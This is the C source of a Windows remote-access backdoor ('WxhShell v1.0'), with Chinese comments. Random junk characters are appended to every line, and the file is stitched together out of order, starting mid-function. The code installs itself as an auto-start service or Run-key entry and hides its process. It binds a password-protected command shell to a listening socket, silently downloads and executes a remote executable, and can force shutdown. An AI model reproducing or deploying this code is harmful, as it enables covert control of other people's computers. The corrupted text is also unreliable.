    if(Boot(SHUTDOWN)) qyE*?73W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h9A=20fj  
    else { @uxg;dyI~  
    closesocket(wsh); Exi#@-  
    ExitThread(0); cw BiT  
    } _ Axw$oYS  
    break; %AgCE"!  
    } 5=poe@1g  
  // 获取shell `EP-Qlm  
  case 's': { 3wgZDF38  
    CmdShell(wsh); Pw Amnk !  
    closesocket(wsh); a<pEVV\NB~  
    ExitThread(0); A[88IMZs  
    break; GO#eI]>/r  
  } {=^<yK2q  
  // 退出 usugjx^p  
  case 'x': { H'2o84$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D1fUEHB}A8  
    CloseIt(wsh); HRd02tah  
    break; :OaGdL   
    } ]_ y;Igaj  
  // 离开 Q|Pm8{8  
  case 'q': { )6he;+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w/0;N`YB  
    closesocket(wsh); 9 Xh<vh8&  
    WSACleanup(); ,(yaWd6  
    exit(1); ]G~u8HPH!m  
    break; j1@PfKh  
        } toox`|  
  } Im`R2_(]  
  } ,+_gx.H2j  
J:;nN-\j  
  // 提示信息 # b= *hi`E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); No/D"S#  
} Zvz}Z8jW  
  } kb*b|pWlO  
M w+4atO4[  
  return; G>^ _&(c@2  
} TsRbIq[  
w4&-9[@Y  
// shell模块句柄 ,S3uY6,  
int CmdShell(SOCKET sock) f2$<4H hmm  
{ M<)Vtn  
STARTUPINFO si; TkjZI}]2  
ZeroMemory(&si,sizeof(si)); 6[1lK8o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fo| rRI2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bk4|ik}  
PROCESS_INFORMATION ProcessInfo; Mw $.B#  
char cmdline[]="cmd"; NEMC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FE?^}VH  
  return 0; O$& 4{h`  
} U| 1&=8l  
oth=#hfU^  
// 自身启动模式 0bMbM^xV6  
int StartFromService(void) o,y {fv:ki  
{ BO=j*.YKy  
typedef struct m[*y9A1  
{ cX-) ]D  
  DWORD ExitStatus; 4}=Z+tDu>  
  DWORD PebBaseAddress; rexy*Xv`2p  
  DWORD AffinityMask; 9RN! <`H  
  DWORD BasePriority; *6*/kV? F  
  ULONG UniqueProcessId; lF1ieg"i M  
  ULONG InheritedFromUniqueProcessId; ig,v6lqhM  
}   PROCESS_BASIC_INFORMATION; xYWg1e$k  
DC%H(2  
PROCNTQSIP NtQueryInformationProcess; >5=uq _QY  
<</ Le%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3P2L phW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c1Ta!p{%  
n*fsdo~  
  HANDLE             hProcess; f)K1j{TZ  
  PROCESS_BASIC_INFORMATION pbi; E#cZM>  
v/lQ5R1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 27KfT] =  
  if(NULL == hInst ) return 0; g{06d~Y  
,=kQJ|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fs EPM"&?h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -%x9^oQwY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /?P="j#u  
j8Csnm0  
  if (!NtQueryInformationProcess) return 0; %@Ty,d:;=  
?]L:j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w_!]_6%{b  
  if(!hProcess) return 0; Hh1OD?N)  
[m 3k_;[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w oSI 2i  
RI%ZT  
  CloseHandle(hProcess); 6- @n$5W0  
;eeu 9_$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f#9\&-h e0  
if(hProcess==NULL) return 0; h0fbc;l  
GM<r{6Qy  
HMODULE hMod; &<sN( ;%0R  
char procName[255]; Mz sDDP+h  
unsigned long cbNeeded; hVcV_  
U0:tE>3`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :2fz4n0{/  
-]h3s >t  
  CloseHandle(hProcess); ;tF7 GjEp  
fXHN m$"n  
if(strstr(procName,"services")) return 1; // 以服务启动 <v)Ai;l,  
 !mX 2  
  return 0; // 注册表启动 _ADK8a6%)  
} :A{ US9D  
|H4/a;]~  
// 主模块 3[L)q2;}$N  
int StartWxhshell(LPSTR lpCmdLine) "K8<X  
{ 5b9>a5j1;  
  SOCKET wsl; )'RLK4l  
BOOL val=TRUE; zF[>K4  
  int port=0; x-_!I>l&  
  struct sockaddr_in door; kOGpe'bV  
_YH)E^If  
  if(wscfg.ws_autoins) Install(); P:")Qb2  
{AY `\G  
port=atoi(lpCmdLine); e>kw>%3bl9  
`"E|  
if(port<=0) port=wscfg.ws_port; F_$K+6  
v?7.)2XcX  
  WSADATA data; f&S,l3H<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sGCV um}  
WBA0! g98  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F:CqB|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); In)#`E` g.  
  door.sin_family = AF_INET; &OiJJl[9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l }?'U  
  door.sin_port = htons(port); 24Y~x`W   
Z;_WU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oh5fNx  
closesocket(wsl); =B(zW .Gf  
return 1; l#,WMu&  
} v |XEC[F  
#isBE}sT{  
  if(listen(wsl,2) == INVALID_SOCKET) { * SG0-_S  
closesocket(wsl); 7ST[XLwt%}  
return 1; TCSm#?[B  
} m(Cn'@i`"0  
  Wxhshell(wsl); $ #C$V>  
  WSACleanup(); ) tGC&l+?/  
o(. PxcD  
return 0; JeJc(e  
7K`A2  
} L44-: 3  
a<[@p  
// 以NT服务方式启动 R4"g? e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1e;^Mz B"  
{ -, ~n|ceI  
DWORD   status = 0; (d[)U<  
  DWORD   specificError = 0xfffffff; ^z$-NSlI  
MS6^= ["  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {O6f1LuH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oU m"qt_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WZ'3  
  serviceStatus.dwWin32ExitCode     = 0; \)ac,i@fy  
  serviceStatus.dwServiceSpecificExitCode = 0; ?EeHeN_  
  serviceStatus.dwCheckPoint       = 0; n2R{$^JxO  
  serviceStatus.dwWaitHint       = 0; }Y5Sf"~M  
UKx91a}g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y XH9Q@Gn  
  if (hServiceStatusHandle==0) return; <BQ4x.[  
6ZVJ2xs[%  
status = GetLastError(); !9i,V{$c`"  
  if (status!=NO_ERROR) :<s)QD  
{ -O_5OT4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x~}RL-Y2o  
    serviceStatus.dwCheckPoint       = 0; Q^8C*ekfg!  
    serviceStatus.dwWaitHint       = 0; v"L<{HN  
    serviceStatus.dwWin32ExitCode     = status; 2Ni$ (`"  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jjz:-Uqq2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :JSOj@s  
    return; m5sgcxt/  
  } 16o3ER  
-lyT8qZ:(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4.7ePbk[E  
  serviceStatus.dwCheckPoint       = 0; k@AOE0m  
  serviceStatus.dwWaitHint       = 0; RaAi9b[/S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U]fE(mpI9  
} @3{'!#/  
8J%^gy>m]  
// 处理NT服务事件,比如:启动、停止 Tc@r#!.m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &?*M+q34  
{ 7,_N9Q]rB  
switch(fdwControl) 5A /G?  
{ J(S.iTD  
case SERVICE_CONTROL_STOP: lx~!FLn  
  serviceStatus.dwWin32ExitCode = 0; `w]=x e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B[Uvj~g  
  serviceStatus.dwCheckPoint   = 0; Rw*l#cr=.  
  serviceStatus.dwWaitHint     = 0; ?K{CjwE.M  
  { *:3flJt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w:& m_z#M  
  }  8OZc:/  
  return; W=o90TwbN  
case SERVICE_CONTROL_PAUSE: ]~)FMWQz-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1,Uv;s;{  
  break; bQb> S<PT  
case SERVICE_CONTROL_CONTINUE: (D{Fln\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VLN=9  
  break; :sFP{rFx~  
case SERVICE_CONTROL_INTERROGATE: CfoSow-  
  break; Ip( IGR"  
}; YrjF1hJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -d6| D?}S  
} H |Z9]+h)7  
t*82^KDU  
// 标准应用程序主函数 #5N#^#r"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .ev'd&l.  
{ ^$24231^  
' V;cA$ $  
// 获取操作系统版本 H6x~mZu_:T  
OsIsNt=GetOsVer(); I' ej?~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \QstcsEt  
l[l('-f  
  // 从命令行安装 SPe Se/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6YQ&+4   
1-1x,U7w  
  // 下载执行文件 [(5;jUmF@  
if(wscfg.ws_downexe) { fEWS3`Yy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r~z-l,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1fm\5/}'`1  
} d /jO~+jP  
 .-'  
if(!OsIsNt) { Gb<)U[Hfd  
// 如果时win9x,隐藏进程并且设置为注册表启动 t%n1TY,  
HideProc(); 0Oc' .E9  
StartWxhshell(lpCmdLine); pcv(P  
} ,-&ler~[  
else *]p]mzc  
  if(StartFromService()) C 6ZM#}I$l  
  // 以服务方式启动 T#Qn\ 8  
  StartServiceCtrlDispatcher(DispatchTable); { o=4(RC  
else YL=?Nk/  
  // 普通方式启动 AM1J ^Dp  
  StartWxhshell(lpCmdLine); "6lf~%R"  
OA_:_%a(  
return 0; LXG,IG  
} Mje6Q  
d3+pS\&IX?  
xpKD 'O=T  
0"kNn5  
=========================================== +iir]"8  
!,+peMy  
Y{B|*[xM  
@ O5-w  
`ux U H#  
.ZFs+8qU>  
" n@mWB UM  
}>=k!l{  
#include <stdio.h> 3205gI,  
#include <string.h> K~5QL/=1  
#include <windows.h> G@oY2sM"  
#include <winsock2.h> 3aQWzEnh  
#include <winsvc.h> :t8(w>oW  
#include <urlmon.h> =M>1;Qr<Z/  
@H"~/m_o  
#pragma comment (lib, "Ws2_32.lib") b!J21cg<L  
#pragma comment (lib, "urlmon.lib") G)';ucs:,  
{v}f/ cu  
#define MAX_USER   100 // 最大客户端连接数   _p\  
#define BUF_SOCK   200 // sock buffer AdesR-e$R  
#define KEY_BUFF   255 // 输入 buffer DmM<Kkg.J  
lplEQ]J|  
#define REBOOT     0   // 重启 WLQm|C,  
#define SHUTDOWN   1   // 关机 P&V,x`<Z  
mEmznA  
#define DEF_PORT   5000 // 监听端口 fmXA;^%  
&/d;4Eu  
#define REG_LEN     16   // 注册表键长度 1D&Q{?RM  
#define SVC_LEN     80   // NT服务名长度 ]vMr@JM-G  
".O+";wk  
// 从dll定义API x1W<r)A )r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y5 $h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZMy0iQ@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d_BECx <\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YgNt>4K  
^]3Y11sI  
// wxhshell配置信息 sWP5=t(i+9  
struct WSCFG { 5m!FtHvm1  
  int ws_port;         // 监听端口 Cb7f-Eag  
  char ws_passstr[REG_LEN]; // 口令 tI|?k(D  
  int ws_autoins;       // 安装标记, 1=yes 0=no K4YpE}]u  
  char ws_regname[REG_LEN]; // 注册表键名 'due'|#^  
  char ws_svcname[REG_LEN]; // 服务名 UM(tM9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r j#K5/df  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %|}obiV)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,di'279|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ~Jrtm7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]y>)es1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -Mx"ox  
!Low%rP  
}; r5h}o)J  
$NC1>83  
// default Wxhshell configuration X}Bo[YoY$  
struct WSCFG wscfg={DEF_PORT, &u( eu'Q3  
    "xuhuanlingzhe",  jhjb)r.  
    1, ;|6kFBGC"+  
    "Wxhshell", m!3b.2/h  
    "Wxhshell", BoE;,s>]NW  
            "WxhShell Service", "rOe J~4 X  
    "Wrsky Windows CmdShell Service", $@"o BCc  
    "Please Input Your Password: ", yT%"<m6Y*\  
  1, >!MOgLO3  
  "http://www.wrsky.com/wxhshell.exe",  ^E*W B~  
  "Wxhshell.exe" sy=M#WGS  
    }; 2F[smUL  
f^z~{|%l!  
// 消息定义模块 wWv")dk3i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I&?(=i)N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q{5wx8_U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O}I8P")m  
char *msg_ws_ext="\n\rExit."; =T;>$&qs  
char *msg_ws_end="\n\rQuit."; D0 Yl?LU3  
char *msg_ws_boot="\n\rReboot..."; ^AkVmsv;;  
char *msg_ws_poff="\n\rShutdown..."; 0)`{]&  
char *msg_ws_down="\n\rSave to "; "K n JUXpl  
#5-5N5-1  
char *msg_ws_err="\n\rErr!"; u@tJu'X  
char *msg_ws_ok="\n\rOK!"; 6:O3>'n  
j}7as&  
char ExeFile[MAX_PATH]; ||a 5)D  
int nUser = 0; dqMt6b\}  
HANDLE handles[MAX_USER]; yBqv'Y  
int OsIsNt; P,r9  <  
=QFnab?N  
SERVICE_STATUS       serviceStatus; p\T9 q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2A7g}V  
qq" &Bc>  
// 函数声明 6FNs4|(d  
int Install(void); ++d(}^C;  
int Uninstall(void); xdb9oH  
int DownloadFile(char *sURL, SOCKET wsh); -Zx hh  
int Boot(int flag); 1t haQ"  
void HideProc(void); np,L39:sf  
int GetOsVer(void); M3c!SXx\  
int Wxhshell(SOCKET wsl); DFKFsu8s  
void TalkWithClient(void *cs); f_a.BTtNO  
int CmdShell(SOCKET sock); Pj9n`LwM  
int StartFromService(void); 8.FBgZh*  
int StartWxhshell(LPSTR lpCmdLine); )nmLgsg  
):OGhWq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NSH20$A<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }_93}e  
}`#OA]NZ  
// 数据结构和表定义 dR~4*59Bg  
SERVICE_TABLE_ENTRY DispatchTable[] = qplz !=  
{ qu- !XC0p  
{wscfg.ws_svcname, NTServiceMain}, 7OY<*ny  
{NULL, NULL} [ lZo'o  
}; ,RIGV[u  
Q;{[U!\:  
// 自我安装 gZ%wm Y  
int Install(void) ,_;+H*H>"  
{ l^aG"")TH.  
  char svExeFile[MAX_PATH]; RzCC>-  
  HKEY key; S-V)!6\cK  
  strcpy(svExeFile,ExeFile); 3Z=OUhn9  
y3l3XLI*b  
// 如果是win9x系统,修改注册表设为自启动 i(P/=B  
if(!OsIsNt) { 1cPm $=B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jY>|>]4X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?&$??r^i  
  RegCloseKey(key); V?AHj<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >^}nk04  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WM$)T6M  
  RegCloseKey(key); ,FR FH8p  
  return 0; l9"4"+?j<  
    } ,4W| e!  
  } ^2Sa_.  
} qj *IKS  
else { .BN~9w  
N!Dc\d=8q]  
// 如果是NT以上系统,安装为系统服务 *lHI\5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P'f0KZL;  
if (schSCManager!=0) ~XAtt\WS  
{ *V+6409m  
  SC_HANDLE schService = CreateService _/;k ;$gDp  
  ( 3Mw\}q  
  schSCManager, ^.bYLF  
  wscfg.ws_svcname, Zwy8 SD'L  
  wscfg.ws_svcdisp, Sh'>5z2  
  SERVICE_ALL_ACCESS, rmpx8C Y"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k8fvg4  
  SERVICE_AUTO_START, o=i)s2   
  SERVICE_ERROR_NORMAL, +E8 \g  
  svExeFile, )6mx\t  
  NULL, cx%[hM09  
  NULL, |O0=Q,<m  
  NULL, *?jU$&Qpj*  
  NULL, 46(Vq|  
  NULL ~5Wr |qg%{  
  ); <hlH@[7!  
  if (schService!=0) Y"qKe,  
  { Uw R,U#d  
  CloseServiceHandle(schService); H|8vW  
  CloseServiceHandle(schSCManager); }p-<+sFo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mXZOkx{  
  strcat(svExeFile,wscfg.ws_svcname); @Dc?fyY*o<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \2cbZQx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'Okitq+O  
  RegCloseKey(key); yNp l0 d  
  return 0; 3/a$oO  
    } Co6ghH7T  
  } q~*3Bk~  
  CloseServiceHandle(schSCManager); Mf0!-bu  
} H':dLR  
} .5=Qf vi*  
(?MRbX]@  
return 1; &1O[N*$e  
} Abr:UEG  
6GVj13Nr  
// 自我卸载 Gy{C*m7Q  
int Uninstall(void) }'HJVB_  
{ :%GxU;<E{  
  HKEY key; oXw}K((|  
d"zbY\`  
if(!OsIsNt) { V0hC[Ilr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cgKK(-$ny  
  RegDeleteValue(key,wscfg.ws_regname); ca>6r`  
  RegCloseKey(key); c +Pg[1-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `>:ozN#)\  
  RegDeleteValue(key,wscfg.ws_regname); 7{=<_  
  RegCloseKey(key); m~s.al(G91  
  return 0; !>XG$-$`Z  
  } B ;Zsp  
} 6itp Mck  
} J/(3: a>  
else { ".+wz1  
Id8^6FLw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $Yfm>4  
if (schSCManager!=0) EoLF7j<W  
{ R03V+t=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e6s-;  
  if (schService!=0) ) *:<3g!  
  { a&YD4DQ05  
  if(DeleteService(schService)!=0) { }>:v  
  CloseServiceHandle(schService); _2{i}L  
  CloseServiceHandle(schSCManager); .S/W_R  
  return 0; dP0!?J Y  
  } /|] %0B  
  CloseServiceHandle(schService); [~$Ji&Dd  
  } $I(2}u?1+d  
  CloseServiceHandle(schSCManager); #W<D~C[I _  
} ]9z{ 95  
} ;c73:'e  
f:L%th  
return 1; uiq)?XUKv  
} i|u3Qt5  
.v [8ie  
// 从指定url下载文件 Te?UQX7Z}M  
int DownloadFile(char *sURL, SOCKET wsh) b;\qF&T  
{ ^T\JFzV  
  HRESULT hr; Ikiv+Fq(  
char seps[]= "/"; k>#,1GbNZy  
char *token; ,lm.~%}P*  
char *file; e#`wshtN:  
char myURL[MAX_PATH]; T 1m097  
char myFILE[MAX_PATH]; !Dp4uE:Pq  
pKO\tkMJ  
strcpy(myURL,sURL); vG WX=O  
  token=strtok(myURL,seps); Y604peUF  
  while(token!=NULL) V.J[Uwf  
  { d#7 z N  
    file=token; +:w9K!31-  
  token=strtok(NULL,seps); q[]EVs0$ew  
  } Q1V4bmM  
kK!An!9C  
GetCurrentDirectory(MAX_PATH,myFILE); $5nOiaQL  
strcat(myFILE, "\\"); rly3f  
strcat(myFILE, file); Q%4>okj,  
  send(wsh,myFILE,strlen(myFILE),0); ) ^PY-~o[  
send(wsh,"...",3,0); N3E Qq~lX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~V3pj('/)'  
  if(hr==S_OK) Y}(#kqh>  
return 0; ]5D?Sc#-  
else DV +DJcF  
return 1; #9z\Wblr  
ry}CND(nB  
} qNER 6  
oPRvd_~  
// 系统电源模块 reLYtv  
int Boot(int flag) m<00 5_Z0Q  
{ FCQIfJ#  
  HANDLE hToken; 8^j u=  
  TOKEN_PRIVILEGES tkp; w#k'RuOw5  
QFIdp R.  
  if(OsIsNt) { X tZ0z?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g<oSTA w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R^P~iAO  
    tkp.PrivilegeCount = 1; [0N==Ym1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dix\hqZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q/4g)(~J  
if(flag==REBOOT) { q.i@Lvu#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q)yhpwrX  
  return 0; mJ0nyjX^  
} 1g{`1[.QO  
else { }K9Vr!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {y=H49  
  return 0; oz%ZEi \bW  
} "XMTj <D  
  } N8:?Z#z  
  else { l/;OC  
if(flag==REBOOT) { oH!sJ&"#_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4 W}8?&T  
  return 0; 4%2QF F @  
} (.7_`T6QG  
else { 9ET2uDZpL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wG2lCv`d  
  return 0; ON _uu]=  
} G\tTwX4  
} ]OZZPo  
"?lirOD  
return 1; yi%A*q~MT  
} #B:J7&@fn  
K^?yD   
// win9x进程隐藏模块 .z7X Ymv  
void HideProc(void) wIuwq>  
{ sxJKu  
w(n&(5FzB<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s@ m A\  
  if ( hKernel != NULL ) j,eeQ KH  
  { "t~I;%$[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h>$,97EU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ' ^gF  
    FreeLibrary(hKernel); hFuS>Hx  
  } j(6:   
P (jlWr$$  
return; UZMo(rG.]{  
} d6,%P 6  
o\h[K<^>)  
// 获取操作系统版本 WaF<qhu*  
int GetOsVer(void) qdm5dQ (c  
{ "cRc~4%K  
  OSVERSIONINFO winfo; J]nb;4w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EnA) Rz  
  GetVersionEx(&winfo); O[y.3>l[s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xj"/6|X  
  return 1; fG;)wQJ  
  else o %A4wEye  
  return 0; lYT}Nc4"="  
} CjORL'3  
:2Qm*Y&_$V  
// 客户端句柄模块 `23&vGk}  
int Wxhshell(SOCKET wsl) )y'`C@ijI  
{ r vVU5zA4H  
  SOCKET wsh; e{U`^ao`F8  
  struct sockaddr_in client; IB /.i(  
  DWORD myID; $&nF1HBI4  
=#n05*^  
  while(nUser<MAX_USER) e"hm|'  
{ Yi&;4vC  
  int nSize=sizeof(client); V\%;S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f!e8xDfA  
  if(wsh==INVALID_SOCKET) return 1; @)m[: n  
UP 1Y3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W"AWhi{h  
if(handles[nUser]==0) 2:MB u5**  
  closesocket(wsh); 3X*;.'#Z  
else f( hK>H  
  nUser++; m7z/@b[  
  } IK(G%dDw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R}Uv i9?  
RW48>4f/+  
  return 0; F*>:~'%  
} uf\Hh -+p  
>},O_qx  
// 关闭 socket t= "EbPE  
void CloseIt(SOCKET wsh) ^v*ajy.>  
{ 6Bmv1n[X^h  
closesocket(wsh); ?,]%V1(@V`  
nUser--; 468LVe?0  
ExitThread(0); ?RiW:TQ*  
} +che Lc  
~xGWL%og  
// 客户端请求句柄 (' /S~  
void TalkWithClient(void *cs) djqSW9  
{ c%>t(ce`Tl  
h eZJ(mR  
  SOCKET wsh=(SOCKET)cs; KCq qwGM  
  char pwd[SVC_LEN]; Lg|j0-"N  
  char cmd[KEY_BUFF]; `x~k}  
char chr[1]; p*_g0_^  
int i,j; HGfYL')Z  
+VDwDJ)lG  
  while (nUser < MAX_USER) { JxiLjvIq  
.hn{m9|U  
if(wscfg.ws_passstr) { pnca+d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )"|'=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (k6=o';y  
  //ZeroMemory(pwd,KEY_BUFF); EyI 9$@4  
      i=0; ;"!dq)  
  while(i<SVC_LEN) { 44f8Hc1g  
#p&iH9c_  
  // 设置超时 :IV4]`  
  fd_set FdRead; {a `kPfP  
  struct timeval TimeOut; :m_0WT  
  FD_ZERO(&FdRead); 6S])IA&VJ  
  FD_SET(wsh,&FdRead); ($7>\"+Tl  
  TimeOut.tv_sec=8; PkF B.  
  TimeOut.tv_usec=0; QB#f'X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }h5pM`|1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YN n,{Xi  
y mY,*Rb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hZY+dHa]  
  pwd=chr[0]; kWjCSC>jA  
  if(chr[0]==0xd || chr[0]==0xa) { J [2;&-@  
  pwd=0; zv  <,  
  break; |iLeOztuE  
  } Ag }hyIl  
  i++; g}{Rk>k  
    } bnUpH3  
z[0L?~$  
  // 如果是非法用户,关闭 socket 37?%xQ!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !ceuljd]  
} [ 8N1tZ{`  
v[e$RH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KqcelI?-I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1& YcCN\k  
,aV89"}  
while(1) { ]]d9\fw  
D}HW7Hnu^  
  ZeroMemory(cmd,KEY_BUFF); d~g  
[Rs5hO  
      // 自动支持客户端 telnet标准   j8M}*1  
  j=0; %g5weiFM  
  while(j<KEY_BUFF) { E+dr\Xhv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DvF`KHsy  
  cmd[j]=chr[0];  .r[DqC  
  if(chr[0]==0xa || chr[0]==0xd) { szF[LRb  
  cmd[j]=0; Q {3"&  
  break; ~/! Zh  
  } F&lWO!4  
  j++; q !7z4Cn  
    }  6?+bi\6  
P}~6 yX  
  // 下载文件 qdCa]n!d  
  if(strstr(cmd,"http://")) { '-D-H}%;}M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  X4BDl  
  if(DownloadFile(cmd,wsh)) pJ6bX4QnDX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WU Q2[)<  
  else 1FjA   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]r$S{<  
  } {b<p~3%+Hc  
  else { 8 fVI33  
@+syD  
